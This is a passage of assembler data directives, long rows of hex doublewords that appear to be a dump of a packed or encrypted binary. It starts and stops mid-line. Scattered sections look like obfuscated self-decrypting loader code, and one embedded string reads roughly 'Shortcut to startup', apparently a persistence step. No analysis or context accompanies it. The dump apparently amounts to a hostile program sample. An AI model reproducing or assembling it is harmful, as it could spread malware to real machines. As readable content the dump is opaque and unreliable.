0EF5E265Ah, 33B3151Eh, 0FFB44E60h, 0F867A5E4h, 0A0B33DEEh dd 0D073A3BEh, 7967201Dh, 0DF65A3BAh, 0D71B2018h, 33B314BEh dd 831D2933h, 0C0982633h, 96FEEDB6h, 0D6157635h, 0AFA8408Eh dd 290DD963h, 839E0D38h, 35982664h, 1F152359h, 4BA840FEh dd 1B1DAB63h, 39E1655h, 0A545B3CCh, 14932018h, 6AA1A23Ch dd 0B0152633h, 9CA840FEh, 4DAACE63h, 0F6D82633h, 354BA3BEh dd 24C82003h, 0E4FEEBB6h, 0FF677635h, 33B30A0Ah, 1794E2B0h dd 7DFEEBB6h, 23157635h, 55A8408Eh, 540DD963h, 3D9E0D38h dd 6A982651h, 6474AD66h, 11CE7464h, 8DAB2E4Eh, 0A69824DAh dd 0D3DF6633h, 2C97260Ch, 2B67D9C6h, 1713EF00h, 35B2CF3Bh dd 48AB2633h, 0A71831B9h, 0E868AD03h, 5AAD63h, 0A9982C88h dd 0D49BCF33h, 896F2633h dd 3566A57Dh, 656CA13Ch, 4EC3D9CCh, 0EEDF7EFBh, 0D697E638h dd 5667D9FDh, 8EC6E7B8h, 0A8517F6Ch, 88152637h, 9CA84088h dd 2A68ABBEh, 93202003h, 78000000h, 271E7FCh, 0C8D00731h dd 4904C783h, 0FFF2850Fh, 0B58DFFFFh, 63067F0h, 680F8D8Dh dd 0CF2B0630h, 8B05E983h, 873D20C8h, 0E8BE46F3h, 0D867106Bh dd 30320802h, 6DF15921h, 34166E88h, 34164580h, 3032801Ch dd 0C0F11544h, 0FC98AD8Bh, 0F9D6DD64h, 3F36A0CAh, 30301B85h dd 3020EB01h, 0FB30101h, 24FA094h, 90053BABh, 43739010h dd 0D45CF20h, 2F1BB582h, 3F32022Ah, 30324F85h, 63326B01h dd 303283E9h, 0F3696001h, 146EA95Ah, 14769105h, 30321E05h dd 0F3614701h, 3FEA2FAEh, 3032138Eh, 303F6901h, 3E2D4001h dd 0BD819E83h, 1691BB38h, 63465994h, 0F5B78D61h, 3F342901h dd 30320188h, 0D968E101h, 303241B1h, 60620BB6h, 3026F853h dd 41EC0801h, 8B274742h, 3D1C9DB0h, 0BA109ED4h, 3C8F7346h dd 0E6B919ACh, 6A032F5Fh, 14369959h, 0D865086Bh, 30320402h dd 6FF15D21h, 34167D88h, 3416C480h, 30324016h, 0F17746h dd 3F23DF74h, 0CE164400h, 4119BB67h, 0DAF8959h, 39342A2Fh dd 1B1455B4h, 1CF2C307h, 0D867206Bh, 30321002h, 6DF15521h dd 34166888h, 34164680h, 30320117h, 53F1D544h, 0DAB38AF1h dd 1D2771FBh, 8D1B188Ah, 3619114Ch, 0CC7A8F67h, 0C9B9E580h dd 0B1542853h, 3FCDB638h, 30328F85h, 3AB82F01h, 3F321001h dd 30320C8Ch, 0FD886201h, 39F381FAh, 2EE3B400h, 9B2862Ah dd 0DDB74FE8h, 5A322001h, 33DA4201h, 10320801h, 0B968C75Bh dd 0B1362655h, 28362545h, 72328001h, 0E60D8353h, 0BB671E8Ch dd 30581140h, 3031E051h, 68120401h, 74BB5AC2h, 74B30525h dd 302F8425h, 60724001h, 303A13C2h, 0B398FABBh, 3304DDCBh dd 62326EC9h, 303201E9h, 0F3682101h, 1466095Bh, 1476C105h dd 30323405h, 0F3605201h, 0D18F3B23h, 0B3342F0Ch, 0CC5207C0h dd 303204E8h, 7C782601h, 0B15377FAh, 7379B038h, 55B71F8Ah dd 5A320801h, 33DA5101h, 10320201h, 0B96FC25Ch, 0B136A46Dh dd 27366445h, 75322001h, 0A789D354h, 85B93E3Ch, 361901E8h dd 7E938F8Ch, 0BB63072Ah, 1B07299Ch, 338A1E07h, 0CC322001h dd 3058F1FEh, 3031E053h, 6A120401h, 64BB58C2h, 74B30525h dd 302E8425h, 62704001h, 0AB801EC2h, 3D7352C9h, 8D39DD3Fh dd 36191300h, 0EED18260h, 5823BC8Ch, 0BDBF8631h, 36022A85h dd 0A2B154B9h, 0A1B72300h, 1B34232Eh, 873D20CEh, 0E8BE46F3h dd 0D867106Bh, 30320802h, 6DF15921h, 34166E88h, 34164580h dd 0F305E983h, 0F5C08BA4h, 2A359D29h, 0C38B062Bh, 0EE9h dd 0A8166000h, 65h, 0 dd 0E9000000h, 5CEh, 0F02C1845h, 0FCC097h, 534F71E7h, 9F1B3D34h dd 28E4DE80h, 0D9811ADDh, 8ECC2BE7h, 3A1F78B4h, 0EB6D8A06h dd 0E40BD1CDh, 0DBAA56D8h, 152D2B92h, 0AE1C781h, 4E99A3B7h dd 6238A443h, 2AE30B32h, 0BC591B74h, 433F7085h, 9BB72A05h dd 0B508E37Fh, 0FC0156B3h, 0ACC8645Eh, 0DB85F05Fh, 0B582A7D5h dd 0D0879A13h, 81C01FECh, 0F9E944A7h, 9C98D1F2h, 70560E69h dd 2F13489Bh, 0C9EC016Bh, 0EF0BA012h, 75390D26h, 1F8AD5F3h dd 0C64EFC30h, 64E85754h, 433102BEh, 0A2AD1198h, 5C4D77E7h dd 0EC281C45h, 11FACE93h, 0EF81AF3Ah, 6294EB7Eh, 8ABEA3FCh dd 0B75EFC03h, 48AD2DE5h, 96B622A9h, 0C3C41867h, 0BF4A9531h dd 0EB3F1F91h, 0CE87FE94h, 9B82AA45h, 3CCF3E20h, 0B1F5C94Ch dd 0FF1894A8h, 44886345h, 94EBFEB5h, 0DD2E1044h, 0BE0C67Eh dd 5215E902h, 4305802Fh, 0C7BBA465h, 9717CF9Bh, 7E777Dh dd 81530000h, 0C60AE1C7h, 94EBC03Ah, 6827B21Dh, 61F9D2F4h dd 0EBC0F577h, 17968894h, 82EC1AEEh, 3A7D96D9h, 1, 39DA81A4h dd 0F9B955D1h, 99C6627Eh, 0BA4CFE0Ah, 190194EBh, 9BBE1D90h dd 78FB46A5h, 7B868F5Ch, 0B93341ECh, 0CC94EBBAh, 0BAEA8452h dd 0E5F394EBh, 94EBBA4Bh, 47DB203Eh, 0C5E9DD46h, 6221AE9Eh dd 41EBF9FCh, 3494EBBAh, 0DE3D8E2Ah, 0DA644779h, 74934FBEh dd 0BADEDAFCh, 4E7D981h, 35A2A2B9h, 5FFF0256h, 4DC0C965h dd 218579E2h, 6C8B0739h, 52F9D2F4h, 0C037B9C7h, 0D44A94EBh dd 6396CAD5h, 9C545A8Eh, 6E501E1h, 0E10DF100h, 7D96FC95h dd 8D29h, 0D981B500h, 0A3B904E7h, 0AC454E9Dh, 0F89722D8h dd 0F9735D67h, 8C94EBC0h, 52041B92h, 0BCA0FF68h, 2E19218Ah dd 9B6BF9Ch, 0BD61A881h, 0E1CAFC62h, 162A2F6Ah, 0C9EF66B5h dd 941622ADh, 0E994EB83h, 0EE69B871h, 0BA9EFDCEh, 85D82784h dd 85B86843h, 4BEA2EC1h, 232F4B77h, 54D77D97h, 0F3000000h dd 78E7D981h, 8801471Dh, 8FB1A6F5h, 5BE6753Ch, 3523053Ch dd 94EBC0BBh, 0CAA283CEh, 0FC1E6F8h, 3D013AF3h, 80CFF169h dd 0A1685C05h, 0DA81D9FDh, 3A1E7DEAh, 0DAF68504h, 94EBC04Fh dd 0BFEBDF60h, 7D96D9B3h, 0BDC6211h, 2BFCF2E6h, 115E2h dd 81B10000h, 0EF7AE5DBh, 0EBC02FC1h, 0A59BBE94h, 5FC33846h dd 0E570DFAEh, 0EBC055D7h, 0F7362894h, 418EA8A8h, 4F281E42h dd 27F63709h, 0FA7D98D8h, 166546E2h, 0F992795Fh, 37F57C40h dd 0E0743A0Eh, 0DB2B22DEh, 66F80D55h, 57F38F5Ch, 14EEA74h dd 0C6D992F3h, 0A6BAD98Ah, 948A69A0h, 1E90BC4Bh, 0FF6D3F38h dd 2D24A72Eh, 372B9092h, 98D827F6h, 0A6D542BEh, 8985A7E7h dd 31BBC99Fh, 446D3F95h, 304FBEDAh, 17B51630h, 6D3F958Bh dd 317549E2h, 0CBC61137h, 0C75BB094h, 45FF18C6h, 5E55A0A0h dd 63AE1CC4h, 0FD309B37h, 44240446h, 21BDD956h, 0DBFD77CAh dd 43B4ADF0h, 0F68DB8C5h, 806B879Eh, 0CB20243Dh, 68FFC378h dd 0A514C03h, 4049D13Ah, 95CFE3A7h, 66077B3h, 0BE776BA1h dd 13Bh, 6F027118h, 95000DDDh, 0A0EC9EAAh, 0F96194EBh dd 4BBBAC5Dh, 0A0650715h, 61894EBh, 0C2EE7DEAh, 94EBA028h dd 45CC3D5Dh, 0C6BE3237h, 82CD4D8Ah, 0A0695307h, 0F0D68EEDh dd 0BF99DB34h, 7157116Ch, 2E124B9Ah, 22DEF878h, 3F015635h dd 9EEA8490h, 839F6D3Eh, 37E38F0Ah, 3B9B776Ch, 47000000h dd 84D3206Fh, 0C041EBF9h, 2A3494EBh, 0CE406CE3h, 0C314EBC0h dd 0C2C18C5Fh, 6E62AB9Dh, 14EBC0DCh, 5E16759Ah, 0B488B178h dd 552A110h, 0EBC015F7h, 0FA362894h, 0A269h, 0E2714900h dd 3E8DB7A7h, 0C0B43620h, 51C994EBh, 1A57A758h, 0B688CECDh dd 8E9AC555h, 94EBC0FCh, 0F1008991h, 9332762h, 0DBB1F080h dd 42DC8AC6h, 0B7521269h, 0C3E55CA1h, 708F0BA7h, 0D7F5D6F0h dd 6D3F2548h, 7C32162Fh, 12721C4h, 0D02029E5h, 1AA934A3h dd 39CF618Fh, 9C826D3Fh, 3F3938B2h, 0DCCD4D6Dh, 0F4F95B4h dd 39A6B873h, 7A4DA04Ah, 0DB95E2E4h, 77F90782h, 0A674FBEh dd 6231F814h, 0A803251Fh, 0C38145F8h, 42D17E73h, 0BE07A9B7h dd 0E47A674Fh, 0C8AEAB25h, 7AA1797Fh, 7109E2E4h, 6FC5D9D5h dd 7785D21Fh, 8ADBB65Ah, 0CB8665F5h, 5AB18BCCh, 0BABAC5C4h dd 4D07609Ch, 0BAA1FC6Bh, 3E19218Ah, 14E72618h, 0EC9EAA39h dd 616D2455h, 0A8426EF9h, 0DD6D2455h, 33444CBDh, 7C11BC2Ch dd 0A9ABFFC3h, 9B37094Ch, 0CE95F01Fh, 70F00FFEh, 0BBD67556h dd 156C9DA7h, 0E7917A52h, 88743D68h, 985689CEh, 9E14E811h dd 0E61F43A6h, 0E27C4F71h, 0DAE66546h, 2DCED50h, 7D993525h dd 4EEB9681h, 906148Eh, 0AA4B01Fh, 7F02DC34h, 9DD72AE3h dd 3F950BBh, 0D9000000h, 0DC817A5Eh, 84BC03E8h, 6DF249A2h dd 312D705Bh, 0F169B417h, 0B9A1FCCFh, 9ED92487h, 4A0E6DBEh dd 15489774h, 6808D833h, 4F2Eh, 51243C89h, 0C181E189h dd 4, 8704E983h, 895C240Ch, 89522404h, 4C281E2h, 83000000h dd 148704EAh, 34895C24h, 68525124h, 3D23442Ah, 9AC2815Ah dd 89C90D26h, 0C8895AD1h, 4EC8159h, 89000000h, 4812424h dd 424h, 89575E00h, 87E89C7h, 81243C8Bh, 4C4h, 24348B00h dd 81E78957h, 4C7h, 4C78300h, 5C243C87h, 582434FFh, 0E904C483h dd 0FFFB0F30h, 0F05386AFh, 8A76DF5Ah, 7B83453h, 3063070h dd 0BEE0FFC5h, 0F67A55F8h, 6921FD45h, 78628732h, 0D371DAACh dd 3304ED72h, 222301E1h, 563CC9D0h, 7B1BC209h, 13696600h dd 7E70B9D9h, 0FB6FB4ECh, 693A7A08h, 0B791023h, 0B1483DDFh dd 4F1764CBh, 0EF3DF0E3h, 9F378429h, 5C5ABD39h, 142EB5EAh dd 0CF1CE9D9h, 46680B3Ah, 0D4335D00h, 0A22F309Fh, 0F0027897h dd 0D31C222Fh, 0CB4F73DAh, 0B958AC19h, 3A386C03h, 8B14FDFEh dd 395C8B2Ch, 496FE6C3h, 8D0CCF0Dh, 2B1C159Dh, 39B806h dd 85890000h, 62B06FDh, 0E8h, 0D055800h, 89000000h, 39E903h dd 0 dd 0Dh dup(77E6h), 0E8FF77E6h, 5, 4E63BA2Bh, 0CE25B895h dd 0E85E4175h, 14h, 895216F0h, 0AD2567A1h, 0E30CCB58h dd 65E78AEh, 1CB0162Eh, 59D68B66h, 5B37C681h, 0B8660000h dd 83BF4BECh, 813D1650h, 1639F8EFh, 11820F3Dh, 0E9000000h dd 0Ch, 4A8C12A3h, 0A8898B6Ah, 5B27F6C4h, 52531E8Bh, 6E8h dd 7E265A00h, 59E97990h, 0F3815A5Ah, 2DDE6E10h, 81CBB70Fh dd 0EDA0C9F3h, 12E832h, 0EF8C0000h, 0D423AF92h, 57B0D7A9h dd 442F54B3h, 0F1EF81ADh, 0CE9h, 6705B500h, 0F3A68B49h dd 8DB98452h, 0F3815857h, 7D589B6Fh, 2820Fh, 0CE8B0000h dd 850F1E89h, 13h, 9E8h, 732D6000h, 0E5DA614Dh, 0B966D8FCh dd 835AECF3h, 0D08B04EEh, 1EF81h, 850F0000h, 1Dh, 10B570B9h dd 2DE971h, 0F8680000h, 0E478C43Ah, 0E352E0CAh, 99AB9F54h dd 0C15FB916h, 3BB2B951h, 55E94AADh, 0B4FFFFFFh, 0FE8A43C2h dd 0F17EE9E2h, 0C62AECADh, 8DA56C88h, 30730D8Dh, 0CA816606h dd 8D899788h, 62B0EE1h, 3585958Bh, 0BD89062Bh, 62B2D49h dd 21E185C7h, 6A44062Bh, 85C70000h, 62B2BE5h, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 38C35646h dd 28F5B529h, 0F78B062Bh, 2A5DB5FFh, 8E8062Bh, 9D000000h dd 90C8A9CFh, 9EC5043h, 2B07B1BDh, 95FF5A06h, 62B2731h dd 1781958Bh, 6A062Bh, 294595FFh, 0C08B062Bh, 0B32F19EBh dd 0E1663E2Ch, 8176B48Fh, 67EEF362h, 7663E2A8h, 0B158E376h dd 0E977B49Eh, 4, 64623EB4h, 552E9h, 0A1A3B800h, 71570A65h dd 0C0065AB5h, 8CA8ABC4h, 5963F710h, 0F461505Dh, 435C5862h dd 92ED291Bh, 0E03FFBCDh, 904A4660h, 0B3C36D7Bh, 0B2B692DBh dd 0E1C7819Eh, 5AA3B70Ah, 6EAAC600h, 9A715711h, 0BC2B0D47h dd 0C0690311h, 21C94EBh, 0BEA5F88Bh, 97E3144Dh, 6557DAh dd 0E2D5A23Eh, 4B6D609Fh, 0A66FBCD8h, 73F5B98Dh, 23CE5955h dd 0EBB79B15h, 0B970EE94h, 0D3CFF166h, 4E99A3B4h, 0F5341053h dd 4183DB26h, 0BF83BA6Ah, 55276EBh, 20E9CF86h, 5232542h dd 0B79F2AA6h, 0FB094EBh, 50630F3Bh, 681B7D97h, 0C7000000h dd 258B0271h, 39EF3129h, 32FF1193h, 4647E39Dh, 812C393Bh dd 0EB94F973h, 0C4928C94h, 94EB942Ah, 44A7C35Fh, 0EB94F888h dd 9E62D394h, 972DF670h, 1AE7Dh, 81280000h, 0E7DEADAh dd 151F6765h, 1B23AD9Eh, 0B95C83ECh, 0E6D20E9h, 98BEB64Bh dd 38932F33h, 0D38962E5h, 917A51EDh, 4B0EA498h, 0E65EB975h dd 71D0C4C0h, 0C5B48702h, 337C5DE3h, 5C291F51h, 9DE42514h dd 0D52883C5h, 26DBE8Eh, 19416559h, 1F2DB827h, 94EB0C6Dh dd 0D38F7EE0h, 319ABCB4h, 7B5076EAh, 0A3083224h, 0E8C3E55Ch dd 9E0A499h, 251F7A95h, 44A781C0h, 2D4D9E3Ah, 0DB7F43FCh dd 45A698BCh, 0A9D5F435h, 5D7D97AAh, 9Dh, 3FC097F2h, 0B6C82305h dd 8E9AB11Ah, 94EB01FCh, 0E26D8991h, 0EB0154D6h, 0F8312994h dd 0E7D981D2h, 9DA3B904h, 0D8AC454Eh, 0E7899722h, 0F694EBC0h dd 0EBC040EAh, 0D6253594h, 183E4148h, 6CCAB926h, 6EE3620h dd 47A01E8Fh, 7FC22913h, 42023C4h, 0AC7F9BA7h, 0D13A0A51h dd 47D07D9Ah, 227DBDE0h, 0F6A60523h, 20F47B4Fh, 0A892D11h dd 809E6D4Bh, 24F48E09h, 39887D97h, 0C1000000h, 60A99FC2h dd 0E7D9815Ah, 0B4A4904h, 4940DE2Dh, 0CC1F2136h, 367C40E5h dd 0D2B11E20h, 8F73BA8Ch, 0EADA810Bh, 0C03ECB01h, 0AE1794EBh dd 0D9C2ACDAh, 17A7D96h, 64000000h, 7AE5DB81h, 9FC23B1Fh dd 0A0BE0DA9h, 32D03CD7h, 78B16128h, 0EB1E56A5h, 0F42E0D20h dd 0AA019D7Ch, 2B7F43FAh, 96971335h, 729EC926h, 8AC6B113h dd 78C7243Ah, 0A55D0DF8h, 0D007672Dh, 251F78B4h, 9424A803h dd 0F16D3E3Eh, 2222887Ch, 0F56F8804h, 0A3A5F8D3h, 8D290F46h dd 9276EF3Eh, 91B7B1ECh, 0BA4F0918h, 109BC0B1h, 5551EDA3h dd 6CAD2842h, 17DDC77h, 6FFE0000h, 0F685D21Fh, 0A83C59Bh dd 0C6DE6386h, 0D37CE28Ah, 3DB63844h, 57CB6D3Fh, 0F878C756h dd 83C522DEh, 79FB46A5h, 2E3D8C5Fh, 0F0DBED73h, 0C286BF6Eh dd 0C963711Ch, 0BC6D3F3Dh, 0A583C5A2h, 7D5B1D64h, 4AA3B7D2h dd 0ABCC08FEh, 411EBA1Bh, 0BAC42719h, 5E088F73h, 6776B03h dd 76h, 481271C0h, 2F9E8F7Eh, 8D0897C0h, 9739F0D4h, 14EBC075h dd 0DAEBB9E4h, 2B1799A7h, 0F46A14EBh, 4EBDC58Bh, 6942DC5Fh dd 0C835B7E2h, 313121Dh, 8A64068Ah, 0D98514EBh, 86C11CEFh dd 8095C9A6h, 0EB8AFA74h, 77938F14h, 8246FF94h, 3A0E27EFh dd 51072B9Ah, 66829C6Fh, 8A21EBF9h, 0CA5494EBh, 184241CEh dd 8A7D0F1Dh, 0E1094EBh, 880119F2h, 0AA8Dh, 2717500h, 0C989F0EBh dd 4AFB32A4h, 5E6AF5FAh, 8AC68363h, 3FB1DF72h, 526D3E93h dd 7827B0CCh, 68BDB3C7h, 5EC9C25Ch, 4DABC083h, 0D625F831h dd 237CB89Eh, 0A9A40721h, 785375EAh, 1AA927E6h, 0ED6D3E88h dd 2279526Ah, 5DA00B3Dh, 7AF3C004h, 0F8973086h, 0A5458CFDh dd 0BD81BA09h, 0E3346A19h, 0FCC2550Eh, 93C31B3h, 79B0C81Fh dd 0DF082E26h, 67A680C0h, 2D42B2BBh, 0B63896A2h, 0C5557309h dd 0FFD99BE6h, 5F97C2Ch, 65F2FF4Fh, 79C5F957h, 688DF879h dd 37DE02F5h, 63FFBE6Fh, 81DDB8A7h, 3E8D284h, 0D284E37Fh dd 71A521E8h, 0B27B4D12h, 45FF3181h, 5AF68863h, 4D61FF0Dh dd 5808ADCh, 0FC82695Fh, 67F06E0Dh, 9B123428h, 95B3B508h dd 55630E19h, 6D244CDBh, 2679B0AEh, 0C0DF082Eh, 0E28C989Dh dd 976D244Ch, 4E106F8Bh, 28B9774h, 9BC1DC73h, 566C64A5h dd 10EF216h, 0A69E14E8h, 69EB0480h, 0C385004Fh, 0A7BB06E5h dd 94304E9Dh, 383B8615h, 58DDCF1Ch, 0EDF3BE64h, 0D869D559h dd 0E0911B29h, 7AE40396h, 90D02FDEh, 5B1D7AB6h, 3A7AE7Dh dd 93000000h, 0DC817A5Eh, 84BC03E8h, 6DF249A2h, 312D705Bh dd 0F169B417h, 0B9A1FCCFh, 9ED92487h, 4A0E6DBEh, 15489774h dd 6808D833h, 0AE4h, 89243C89h, 4C781E7h, 83000000h, 3C8704EFh dd 45685C24h, 89000054h, 8951242Ch, 4C181E1h, 83000000h dd 0C8704E9h, 3C895C24h, 1D52BD24h, 0E5811EB9h, 7A7E7C1Fh dd 4BFEBA52h, 0CA816F46h, 13933A85h, 3959CA81h, 0D2F7209Ch dd 0C281D2F7h, 6C18DB28h, 545AD501h, 81243C8Bh, 4C4h, 89515300h dd 59CB89E9h, 5B085F89h, 5F2434FFh, 0FF04C483h, 835D2434h dd 35E904C4h, 52FFFB07h, 0E1970F71h, 0B8B36C0Eh, 63077FFh dd 0E0FFC503h, 1A1F057Fh, 0CE60254h, 32A0AE1Bh, 0D11BE14h dd 0D3EC93Ch, 21004A27h, 1ADEBFF1h, 6805D8B4h, 5181D500h dd 521B8FB6h, 33637ACh, 7DF61FA2h, 4D1DC718h, 79BD7EFFh dd 75E9h, 376C700h, 6F68534Fh, 75637472h, 6F742074h, 61747320h dd 70757472h, 17h dup(0) dd 5FE90000h, 6800000Fh, 6307B17h, 0FBD6AAE9h, 7C2268FFh dd 0A0E90630h, 68FFFBD6h, 6307DF0h, 0FBD696E9h, 7E2F68FFh dd 8CE90630h, 68FFFBD6h, 6307EF4h, 0FBD682E9h, 7FAC68FFh dd 78E90630h, 68FFFBD6h, 6308388h, 0FBD66EE9h, 861568FFh dd 64E90630h, 68FFFBD6h, 6308727h, 0FBD65AE9h, 63DA9EFFh dd 5AA9EA8Fh, 3C81C3A6h, 155E25F8h, 0C3367C11h, 0F98F442Fh dd 0D7AA4EBBh, 2ACF238Ch, 71A1E6Dh, 3632F63Fh, 760C7B37h dd 7E1191EBh, 1EA35C4Dh, 7311A413h, 0F45B2FEh, 105891EBh dd 1FA57761h, 0BFC64647h, 0A7B3B6Ch, 0A50C548Dh, 2B477841h dd 97DB0FFCh, 0DAAC0F52h, 91140F96h, 0B0FEEF1Eh, 97DB0F47h dd 0B0FD475Ah, 0EDA3950Ch, 8999CE9Bh, 59BBF7E8h, 0AC9DE6D0h dd 1323BA4h, 0F0D7226Dh, 6A0B3F91h, 0F0D7C704h, 0B65CBB91h dd 0A7375B2Dh, 42A671h, 86B70000h, 0F0DFBFE8h, 8FBEA291h dd 0F0DFB4E3h, 0D0A1A991h, 29C2258Dh, 26807220h, 15F29DE6h dd 0F47AE54Eh, 68175BADh, 0E259FA63h, 301C55EFh, 50CE1D61h dd 57B291F0h, 0C254264Fh, 0ECA171A6h, 0DE000000h, 8D0A7B3Bh dd 3CBB0E54h, 744D960Fh, 0F36CD99Fh, 0A88AC67Fh, 0DDA57203h dd 6E36EB94h, 3AA51056h, 0A0EC00B4h, 97DBE7BCh, 0F0B25212h dd 0B32C93DCh, 9A0C8B3Fh, 377F1216h, 0F9651CEh, 4B016D9Ch dd 4E9DE6F4h, 0A6D7E61Ah, 0F0C39FC8h, 7BDE8291h, 0F1ACF53Ah dd 264C7DEEh, 9BCE0368h, 0E74C15F2h, 0B24FF678h, 0F41B98CCh dd 4E43A5FCh, 8D05B209h, 0B0A9169Ch, 8CB497DDh, 6E341118h dd 0A83DD016h, 0D83DDA9Ch, 42A62A95h, 0D39CE9AFh, 8AB08F46h dd 0C27E0A49h, 2C00000Ch, 781D1168h, 5134C837h, 0AB4EA20Fh dd 82679BECh, 0D6BD71C4h, 0FC490F7Dh, 0D11A6538h, 8CFBB85Dh dd 64CD9568h, 0C9A58480h, 91EB749Eh, 3B998883h, 9801087Dh dd 6623C69Dh, 0F3C86011h, 0AD1A9881h, 0B097DB70h, 680DE988h dd 9425D928h, 1A85F2B7h, 25BE0D94h, 722029C2h, 9DE62680h dd 3BCAD95h, 881E983Ch, 0CFC7045h, 0C05354CDh, 0A382CDA1h dd 0AB9F91F0h, 97E35E27h, 91F0A334h, 0BCD9CD48h, 71A70ECAh dd 0BA17h, 0A4E12600h, 5F26A857h, 692AEF0Ch, 8C159D1Ah dd 4F7EC78Fh, 0FA65C88Ah, 0ED322D74h, 0D5A552A7h, 97DB34A1h dd 0FBF3470Fh, 0B534DFFFh, 0FAC327ABh, 71EE531Dh, 868BBEF4h dd 0EF93C7BAh, 70C18196h, 3E01C6C7h, 196433F0h, 0CC705489h dd 7DC88E53h, 0EAFDA8C9h, 602A4871h, 659DE62Ch, 637A39FDh dd 0C2ADC1C8h, 789BCED8h, 1263D493h, 0BE9B82B6h, 94698DF8h dd 6BCC7BCEh, 6C8AB09Ch, 0BB783F1h, 5D190000h, 2C7508ECh dd 44E23C7h, 0E1A045B9h, 0B9FF9296h, 2DBA84Ch, 37CB3E04h dd 48AC0F52h, 679BF0B5h, 0BF73C282h, 8BF4BAB3h, 9691EB73h dd 7D3BAAF5h, 5111F408h, 3BDF0CE0h, 0C6030A7Bh, 8687307Bh dd 0DB0FBFE8h, 0ABEA297h, 12F7F46Bh, 0FD75E251h, 46AFF7A4h dd 5DCED1A2h, 5A90462Ch, 408D9DE6h, 0F03DE552h, 0CC70F891h dd 3DE42753h, 7D9891F0h, 947ACCA9h, 1C4771A6h, 96000000h dd 0F081F2B1h, 4476EFADh, 0C6CD3C51h, 0C4D2FE7Fh, 5CC03847h dd 82EFB45h, 0EF900000h, 0F47B0FEh, 1FB597DBh, 9372A7E9h dd 0B6CF7305h, 5D26E8FFh, 2CE16916h, 0EF631C63h, 0BE3C727Bh dd 0BB9DE6DCh, 8FD708B7h, 672FC226h, 0C011611Eh, 6D3AB4C7h dd 0E724E4AEh, 494E57A0h, 6713D09h, 1BF6B4C1h, 48F73E06h dd 4AAE52C6h, 9786EFB7h, 0C1DF0866h, 9EC2F6B4h, 0EC3E4807h dd 0E2F6B4C1h, 0DCCD1F07h, 0C198C7ABh, 0DD85F6B4h, 0B4C166D1h dd 0AEF77BF6h, 0A458A9E9h, 873081C1h, 0B4C195FBh, 115F2F6h dd 0CE3D7ADFh, 53A2E2B7h, 0B7A3ADFh, 36E69F8Ch, 192CAC3h dd 208BD60Bh, 2D435A51h, 2D59A8E8h, 94B6DE2h, 0D6C74BFFh dd 0F5083CA5h, 7817DFBCh, 973FD519h, 0B4A0376h, 0A40BB477h dd 47B0FE09h, 5A0F60A5h, 1CF36216h, 0C0C9BEC5h, 7F2ACE72h dd 0F7687F7Bh, 0B616A8C6h, 564B055Dh, 0B53DBA11h, 8BE71801h dd 94BD05Ch, 0EE781941h, 58377A82h, 418B122Bh, 1A03B704h dd 6636B694h, 108FB3DDh, 2C5DCED1h, 41B53E46h, 64F8CDBh dd 0D880D8B9h, 1D5BA0D1h, 0D14EBBF9h, 0A42AD559h, 97838DDh dd 0E15010F5h, 2FB1EF46h, 775E0CBh, 9E9h, 0FA3E8FCBh, 1D115E27h dd 37CB3678h, 4CA01352h, 9A9EEBA9h, 70365489h, 410CE105h dd 22673AFEh, 0F4BC51D5h, 0CCFD698Dh, 0EB7279A6h, 78AB6491h dd 0BD0A7B3Bh, 8AA9F4CEh, 0AAE692C1h, 14000009h, 6005F950h dd 0B95CD01Fh, 93768AF7h, 0EA8F63D4h, 0CEA559ACh, 0C4317715h dd 0B9024D20h, 94E3A045h, 4CB5FD90h, 0E18DBCA8h, 91EB71B6h dd 0EFA1F0ABh, 0F47B0FEh, 165A97DBh, 7BCA8A8Fh, 480ACFFCh dd 146320E5h, 7FCA888Dh, 0E6515D4Eh, 0FB97DB0Fh, 9D482E77h dd 0D8465959h, 0E52A0D52h, 0FBE296EDh, 0E6D721B7h, 56F97C9Dh dd 2C50E820h, 0F6405904h, 0BFDA104Fh, 59C7AB0Bh, 0E9D03FF0h dd 437465F6h, 4DC7E02Fh, 2C75FD50h, 0C115F7BBh, 28105A70h dd 1959BEAFh, 0C616412Dh, 470B5666h, 0D4CBC2D3h, 9BC6A556h dd 5EC2443Bh, 9433432Fh, 72E65C57h, 7FC68E4Bh, 579EE6BBh dd 3D90B598h, 0CDBBA652h, 8E5h, 0FE328BCFh, 11155A1Bh dd 2BCF327Ch, 40A40F56h, 9E92E7ADh, 6C2A50F5h, 3D00E519h dd 1E5B3EF2h, 0F0B055A9h, 0C8E16D81h, 0EB717DAAh, 7CAF6091h dd 196C2AEFh, 62D39378h, 0EAD69E7Bh, 0DB0F5B84h, 6E124697h dd 0F6535817h, 56D847AEh, 0BE0D4A4Fh, 0B80B4A8Fh, 0CDD41D65h dd 8D2BDE9h, 0A36897DBh, 0F4BD90E5h, 0A83FF68Fh, 0E680637h dd 0F39DE880h, 777BA4CAh, 8AD591EBh, 6E5F21h, 91EB77D7h dd 6E1286CAh, 1FD54E7Fh, 0D4036FC9h, 0C991EBD5h, 0BAD1081h dd 8872A352h, 0E8DA2F08h, 7DC48C89h, 559CE4B9h, 0DA2F75AAh dd 48BF845Dh, 0DAC6A4FFh, 0DCA89790h, 82Dh, 867AD397h dd 0D95DA2E3h, 0F3377AC4h, 8EC571Eh, 26DA2F75h, 0B4F2884Dh dd 85C8AD41h, 6623C63Ah, 38781D11h, 303935C9h, 0EB703562h dd 24772891h, 4A6A2AEFh, 883EB90Ch, 0D8987D04h, 6929EE69h dd 3EB90A49h, 0FE9B0488h, 74D17323h, 3B06DB2Eh, 0B2C347F0h dd 0D0549DE5h, 41672CE9h, 9502B603h, 8EF8841Dh, 6B6B7B62h dd 4D0h, 29C22500h, 5999DB20h, 0D6D36D3Bh, 740DB191h, 52C13F73h dd 343C9DE8h, 6F371405h, 0E8119906h, 0EBA55D8Ah, 79184091h dd 723CD49Ch, 24A8135Eh, 19877CB0h, 1CE49D8Ch, 0BD4EF07Ah dd 0DBA79AFBh, 8943D27h, 0B5DEC443h, 0EAD820C3h, 641Eh dd 0ACEA2F00h, 0EFE53859h, 611E6D2Ah, 78BF6B8h, 8C19877Eh dd 0FA6119Dh, 0B7BB97DBh, 9C120308h, 97DB0F53h, 377B1A4Eh dd 77A26988h, 68175E26h, 1483ECB7h, 1AB260BFh, 0D22508B3h dd 1A35B917h, 0FC4E17FFh, 0D98BE2E9h, 19h, 0CDFEEF76h dd 0DB0F76A1h, 8BE76B97h, 97DB0F5Ch, 38781941h, 192h, 2EBB25D7h dd 93DDC1B1h, 5AB90EA4h, 0CF592348h, 18A4E4E7h, 0DB000000h dd 0B12EBB25h, 0A493FAC1h, 5B4BC60Eh, 0E7CB4832h, 